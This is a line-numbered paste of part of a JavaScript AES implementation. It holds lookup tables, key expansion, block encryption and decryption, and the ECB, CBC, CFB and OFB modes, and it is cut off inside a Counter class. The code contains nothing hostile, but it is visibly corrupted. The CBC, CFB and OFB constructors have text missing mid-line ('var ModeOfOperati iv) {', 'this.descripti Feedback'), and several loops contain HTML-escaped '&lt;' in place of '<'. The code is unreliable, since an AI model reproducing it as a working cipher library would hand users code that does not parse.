0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3];
  223.         var U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697];
  224.         var U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46];
  225.         var U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d];
  226.  
  227.         function convertToInt32(bytes) {
  228.             var result = [];
  229.             for (var i = 0; i < bytes.length; i += 4) {
  230.                 result.push(
  231.                     (bytes[i    ] << 24) |
  232.                     (bytes[i + 1] << 16) |
  233.                     (bytes[i + 2] <<  8) |
  234.                     bytes[i + 3]
  235.                 );
  236.             }
  237.             return result;
  238.         }
  239.  
  240.         var AES = function(key) {
  241.             if (!(this instanceof AES)) {
  242.                 throw Error('AES must be instanitated with `new`');
  243.             }
  244.  
  245.             Object.defineProperty(this, 'key', {
  246.                 value: coerceArray(key, true)
  247.             });
  248.  
  249.             this._prepare();
  250.         }
  251.  
  252.  
  253.         AES.prototype._prepare = function() {
  254.  
  255.             var rounds = numberOfRounds[this.key.length];
  256.             if (rounds == null) {
  257.                 throw new Error('invalid key size (must be 16, 24 or 32 bytes)');
  258.             }
  259.  
  260.             // encryption round keys
  261.             this._Ke = [];
  262.  
  263.             // decryption round keys
  264.             this._Kd = [];
  265.  
  266.             for (var i = 0; i <= rounds; i++) {
  267.                 this._Ke.push([0, 0, 0, 0]);
  268.                 this._Kd.push([0, 0, 0, 0]);
  269.             }
  270.  
  271.             var roundKeyCount = (rounds + 1) * 4;
  272.             var KC = this.key.length / 4;
  273.  
  274.             // convert the key into ints
  275.             var tk = convertToInt32(this.key);
  276.  
  277.             // copy values into round key arrays
  278.             var index;
  279.             for (var i = 0; i < KC; i++) {
  280.                 index = i >> 2;
  281.                 this._Ke[index][i % 4] = tk[i];
  282.                 this._Kd[rounds - index][i % 4] = tk[i];
  283.             }
  284.  
  285.             // key expansion (fips-197 section 5.2)
  286.             var rconpointer = 0;
  287.             var t = KC, tt;
  288.             while (t < roundKeyCount) {
  289.                 tt = tk[KC - 1];
  290.                 tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^
  291.                           (S[(tt >>  8) & 0xFF] << 16) ^
  292.                           (S[ tt        & 0xFF] <<  8) ^
  293.                           S[(tt >> 24) & 0xFF]        ^
  294.                           (rcon[rconpointer] << 24));
  295.                 rconpointer += 1;
  296.  
  297.                 // key expansion (for non-256 bit)
  298.                 if (KC != 8) {
  299.                     for (var i = 1; i < KC; i++) {
  300.                         tk[i] ^= tk[i - 1];
  301.                     }
  302.  
  303.                     // key expansion for 256-bit keys is "slightly different" (fips-197)
  304.                 } else {
  305.                     for (var i = 1; i < (KC / 2); i++) {
  306.                         tk[i] ^= tk[i - 1];
  307.                     }
  308.                     tt = tk[(KC / 2) - 1];
  309.  
  310.                     tk[KC / 2] ^= (S[ tt        & 0xFF]        ^
  311.                                    (S[(tt >>  8) & 0xFF] <<  8) ^
  312.                                    (S[(tt >> 16) & 0xFF] << 16) ^
  313.                                    (S[(tt >> 24) & 0xFF] << 24));
  314.  
  315.                     for (var i = (KC / 2) + 1; i < KC; i++) {
  316.                         tk[i] ^= tk[i - 1];
  317.                     }
  318.                 }
  319.  
  320.                 // copy values into round key arrays
  321.                 var i = 0, r, c;
  322.                 while (i < KC && t < roundKeyCount) {
  323.                     r = t >> 2;
  324.                     c = t % 4;
  325.                     this._Ke[r][c] = tk[i];
  326.                     this._Kd[rounds - r][c] = tk[i++];
  327.                     t++;
  328.                 }
  329.             }
  330.  
  331.             // inverse-cipher-ify the decryption round key (fips-197 section 5.3)
  332.             for (var r = 1; r < rounds; r++) {
  333.                 for (var c = 0; c < 4; c++) {
  334.                     tt = this._Kd[r][c];
  335.                     this._Kd[r][c] = (U1[(tt >> 24) & 0xFF] ^
  336.                                       U2[(tt >> 16) & 0xFF] ^
  337.                                       U3[(tt >>  8) & 0xFF] ^
  338.                                       U4[ tt        & 0xFF]);
  339.                 }
  340.             }
  341.         }
  342.  
  343.         AES.prototype.encrypt = function(plaintext) {
  344.             if (plaintext.length != 16) {
  345.                 throw new Error('invalid plaintext size (must be 16 bytes)');
  346.             }
  347.  
  348.             var rounds = this._Ke.length - 1;
  349.             var a = [0, 0, 0, 0];
  350.  
  351.             // convert plaintext to (ints ^ key)
  352.             var t = convertToInt32(plaintext);
  353.             for (var i = 0; i < 4; i++) {
  354.                 t[i] ^= this._Ke[0][i];
  355.             }
  356.  
  357.             // apply round transforms
  358.             for (var r = 1; r < rounds; r++) {
  359.                 for (var i = 0; i < 4; i++) {
  360.                     a[i] = (T1[(t[ i         ] >> 24) & 0xff] ^
  361.                             T2[(t[(i + 1) % 4] >> 16) & 0xff] ^
  362.                             T3[(t[(i + 2) % 4] >>  8) & 0xff] ^
  363.                             T4[ t[(i + 3) % 4]        & 0xff] ^
  364.                             this._Ke[r][i]);
  365.                 }
  366.                 t = a.slice();
  367.             }
  368.  
  369.             // the last round is special
  370.             var result = createArray(16), tt;
  371.             for (var i = 0; i < 4; i++) {
  372.                 tt = this._Ke[rounds][i];
  373.                 result[4 * i    ] = (S[(t[ i         ] >> 24) & 0xff] ^ (tt >> 24)) & 0xff;
  374.                 result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff;
  375.                 result[4 * i + 2] = (S[(t[(i + 2) % 4] >>  8) & 0xff] ^ (tt >>  8)) & 0xff;
  376.                 result[4 * i + 3] = (S[ t[(i + 3) % 4]        & 0xff] ^  tt       ) & 0xff;
  377.             }
  378.  
  379.             return result;
  380.         }
  381.  
  382.         AES.prototype.decrypt = function(ciphertext) {
  383.             if (ciphertext.length != 16) {
  384.                 throw new Error('invalid ciphertext size (must be 16 bytes)');
  385.             }
  386.  
  387.             var rounds = this._Kd.length - 1;
  388.             var a = [0, 0, 0, 0];
  389.  
  390.             // convert plaintext to (ints ^ key)
  391.             var t = convertToInt32(ciphertext);
  392.             for (var i = 0; i < 4; i++) {
  393.                 t[i] ^= this._Kd[0][i];
  394.             }
  395.  
  396.             // apply round transforms
  397.             for (var r = 1; r < rounds; r++) {
  398.                 for (var i = 0; i < 4; i++) {
  399.                     a[i] = (T5[(t[ i          ] >> 24) & 0xff] ^
  400.                             T6[(t[(i + 3) % 4] >> 16) & 0xff] ^
  401.                             T7[(t[(i + 2) % 4] >>  8) & 0xff] ^
  402.                             T8[ t[(i + 1) % 4]        & 0xff] ^
  403.                             this._Kd[r][i]);
  404.                 }
  405.                 t = a.slice();
  406.             }
  407.  
  408.             // the last round is special
  409.             var result = createArray(16), tt;
  410.             for (var i = 0; i < 4; i++) {
  411.                 tt = this._Kd[rounds][i];
  412.                 result[4 * i    ] = (Si[(t[ i         ] >> 24) & 0xff] ^ (tt >> 24)) & 0xff;
  413.                 result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff;
  414.                 result[4 * i + 2] = (Si[(t[(i + 2) % 4] >>  8) & 0xff] ^ (tt >>  8)) & 0xff;
  415.                 result[4 * i + 3] = (Si[ t[(i + 1) % 4]        & 0xff] ^  tt       ) & 0xff;
  416.             }
  417.  
  418.             return result;
  419.         }
  420.  
  421.  
  422.         /**
  423.      *  Mode Of Operation - Electonic Codebook (ECB)
  424.      */
  425.         var ModeOfOperationECB = function(key) {
  426.             if (!(this instanceof ModeOfOperationECB)) {
  427.                 throw Error('AES must be instanitated with `new`');
  428.             }
  429.  
  430.             this.description = "Electronic Code Block";
  431.             this.name = "ecb";
  432.  
  433.             this._aes = new AES(key);
  434.         }
  435.  
  436.         ModeOfOperationECB.prototype.encrypt = function(plaintext) {
  437.             plaintext = coerceArray(plaintext);
  438.  
  439.             if ((plaintext.length % 16) !== 0) {
  440.                 throw new Error('invalid plaintext size (must be multiple of 16 bytes)');
  441.             }
  442.  
  443.             var ciphertext = createArray(plaintext.length);
  444.             var block = createArray(16);
  445.  
  446.             for (var i = 0; i &lt; plaintext.length; i += 16) {
  447.                 copyArray(plaintext, block, 0, i, i + 16);
  448.                 block = this._aes.encrypt(block);
  449.                 copyArray(block, ciphertext, i);
  450.             }
  451.  
  452.             return ciphertext;
  453.         }
  454.  
  455.         ModeOfOperationECB.prototype.decrypt = function(ciphertext) {
  456.             ciphertext = coerceArray(ciphertext);
  457.  
  458.             if ((ciphertext.length % 16) !== 0) {
  459.                 throw new Error('invalid ciphertext size (must be multiple of 16 bytes)');
  460.             }
  461.  
  462.             var plaintext = createArray(ciphertext.length);
  463.             var block = createArray(16);
  464.  
  465.             for (var i = 0; i &lt; ciphertext.length; i += 16) {
  466.                 copyArray(ciphertext, block, 0, i, i + 16);
  467.                 block = this._aes.decrypt(block);
  468.                 copyArray(block, plaintext, i);
  469.             }
  470.  
  471.             return plaintext;
  472.         }
  473.  
  474.  
  475.         /**
  476.      *  Mode Of Operation - Cipher Block Chaining (CBC)
  477.      */
  478.          var ModeOfOperati iv) {
  479.             if (!(this instanceof ModeOfOperationCBC)) {
  480.                 throw Error('AES must be instanitated with `new`');
  481.             }
  482.  
  483.              this.descripti Block Chaining";
  484.             this.name = "cbc";
  485.  
  486.             if (!iv) {
  487.                 iv = createArray(16);
  488.  
  489.             } else if (iv.length != 16) {
  490.                 throw new Error('invalid initialation vector size (must be 16 bytes)');
  491.             }
  492.  
  493.             this._lastCipherblock = coerceArray(iv, true);
  494.  
  495.             this._aes = new AES(key);
  496.         }
  497.  
  498.         ModeOfOperationCBC.prototype.encrypt = function(plaintext) {
  499.             plaintext = coerceArray(plaintext);
  500.  
  501.             if ((plaintext.length % 16) !== 0) {
  502.                 throw new Error('invalid plaintext size (must be multiple of 16 bytes)');
  503.             }
  504.  
  505.             var ciphertext = createArray(plaintext.length);
  506.             var block = createArray(16);
  507.  
  508.             for (var i = 0; i &lt; plaintext.length; i += 16) {
  509.                 copyArray(plaintext, block, 0, i, i + 16);
  510.  
  511.                 for (var j = 0; j &lt; 16; j++) {
  512.                     block[j] ^= this._lastCipherblock[j];
  513.                 }
  514.  
  515.                 this._lastCipherblock = this._aes.encrypt(block);
  516.                 copyArray(this._lastCipherblock, ciphertext, i);
  517.             }
  518.  
  519.             return ciphertext;
  520.         }
  521.  
  522.         ModeOfOperationCBC.prototype.decrypt = function(ciphertext) {
  523.             ciphertext = coerceArray(ciphertext);
  524.  
  525.             if ((ciphertext.length % 16) !== 0) {
  526.                 throw new Error('invalid ciphertext size (must be multiple of 16 bytes)');
  527.             }
  528.  
  529.             var plaintext = createArray(ciphertext.length);
  530.             var block = createArray(16);
  531.  
  532.             for (var i = 0; i < ciphertext.length; i += 16) {
  533.                 copyArray(ciphertext, block, 0, i, i + 16);
  534.                 block = this._aes.decrypt(block);
  535.  
  536.                 for (var j = 0; j < 16; j++) {
  537.                     plaintext[i + j] = block[j] ^ this._lastCipherblock[j];
  538.                 }
  539.  
  540.                 copyArray(ciphertext, this._lastCipherblock, 0, i, i + 16);
  541.             }
  542.  
  543.             return plaintext;
  544.         }
  545.  
  546.  
  547.         /**
  548.      *  Mode Of Operation - Cipher Feedback (CFB)
  549.      */
  550.          var ModeOfOperati iv, segmentSize) {
  551.             if (!(this instanceof ModeOfOperationCFB)) {
  552.                 throw Error('AES must be instanitated with `new`');
  553.             }
  554.  
  555.              this.descripti Feedback";
  556.             this.name = "cfb";
  557.  
  558.             if (!iv) {
  559.                 iv = createArray(16);
  560.  
  561.             } else if (iv.length != 16) {
  562.                 throw new Error('invalid initialation vector size (must be 16 size)');
  563.             }
  564.  
  565.             if (!segmentSize) { segmentSize = 1; }
  566.  
  567.             this.segmentSize = segmentSize;
  568.  
  569.             this._shiftRegister = coerceArray(iv, true);
  570.  
  571.             this._aes = new AES(key);
  572.         }
  573.  
  574.         ModeOfOperationCFB.prototype.encrypt = function(plaintext) {
  575.             if ((plaintext.length % this.segmentSize) != 0) {
  576.                 throw new Error('invalid plaintext size (must be segmentSize bytes)');
  577.             }
  578.  
  579.             var encrypted = coerceArray(plaintext, true);
  580.  
  581.             var xorSegment;
  582.             for (var i = 0; i < encrypted.length; i += this.segmentSize) {
  583.                 xorSegment = this._aes.encrypt(this._shiftRegister);
  584.                 for (var j = 0; j < this.segmentSize; j++) {
  585.                     encrypted[i + j] ^= xorSegment[j];
  586.                 }
  587.  
  588.                 // Shift the register
  589.                 copyArray(this._shiftRegister, this._shiftRegister, 0, this.segmentSize);
  590.                 copyArray(encrypted, this._shiftRegister, 16 - this.segmentSize, i, i + this.segmentSize);
  591.             }
  592.  
  593.             return encrypted;
  594.         }
  595.  
  596.         ModeOfOperationCFB.prototype.decrypt = function(ciphertext) {
  597.             if ((ciphertext.length % this.segmentSize) != 0) {
  598.                 throw new Error('invalid ciphertext size (must be segmentSize bytes)');
  599.             }
  600.  
  601.             var plaintext = coerceArray(ciphertext, true);
  602.  
  603.             var xorSegment;
  604.             for (var i = 0; i &lt; plaintext.length; i += this.segmentSize) {
  605.                 xorSegment = this._aes.encrypt(this._shiftRegister);
  606.  
  607.                 for (var j = 0; j &lt; this.segmentSize; j++) {
  608.                     plaintext[i + j] ^= xorSegment[j];
  609.                 }
  610.  
  611.                 // Shift the register
  612.                 copyArray(this._shiftRegister, this._shiftRegister, 0, this.segmentSize);
  613.                 copyArray(ciphertext, this._shiftRegister, 16 - this.segmentSize, i, i + this.segmentSize);
  614.             }
  615.  
  616.             return plaintext;
  617.         }
  618.  
  619.         /**
  620.      *  Mode Of Operation - Output Feedback (OFB)
  621.      */
  622.          var ModeOfOperati iv) {
  623.             if (!(this instanceof ModeOfOperationOFB)) {
  624.                 throw Error('AES must be instanitated with `new`');
  625.             }
  626.  
  627.              this.descripti Feedback";
  628.             this.name = "ofb";
  629.  
  630.             if (!iv) {
  631.                 iv = createArray(16);
  632.  
  633.             } else if (iv.length != 16) {
  634.                 throw new Error('invalid initialation vector size (must be 16 bytes)');
  635.             }
  636.  
  637.             this._lastPrecipher = coerceArray(iv, true);
  638.             this._lastPrecipherIndex = 16;
  639.  
  640.             this._aes = new AES(key);
  641.         }
  642.  
  643.         ModeOfOperationOFB.prototype.encrypt = function(plaintext) {
  644.             var encrypted = coerceArray(plaintext, true);
  645.  
  646.             for (var i = 0; i < encrypted.length; i++) {
  647.                 if (this._lastPrecipherIndex === 16) {
  648.                     this._lastPrecipher = this._aes.encrypt(this._lastPrecipher);
  649.                     this._lastPrecipherIndex = 0;
  650.                 }
  651.                 encrypted[i] ^= this._lastPrecipher[this._lastPrecipherIndex++];
  652.             }
  653.  
  654.             return encrypted;
  655.         }
  656.  
  657.         // Decryption is symetric
  658.         ModeOfOperationOFB.prototype.decrypt = ModeOfOperationOFB.prototype.encrypt;
  659.  
  660.  
  661.         /**
  662.      *  Counter object for CTR common mode of operation
  663.      */
  664.         var Counter = function(initialValue) {
  665.             if (!(this instanceof Counter)) {
  666.                 throw Error('Counter must be instanitated with `new`');
  667.             }
  668.  
  669.             // We allow 0, but anything false-ish uses the default 1
  670.             if (initialValue !== 0 && !initialValue) { initialValue = 1; }
  671.  
  672.             if (typeof(initialValue) === 'number') {
  673.                 this._counter = createArray(16);
  674.                 this.setValue(initialValue);
  675.  
  676.             } else {
  677.                 this.setBytes(initialValue);
  678.             }
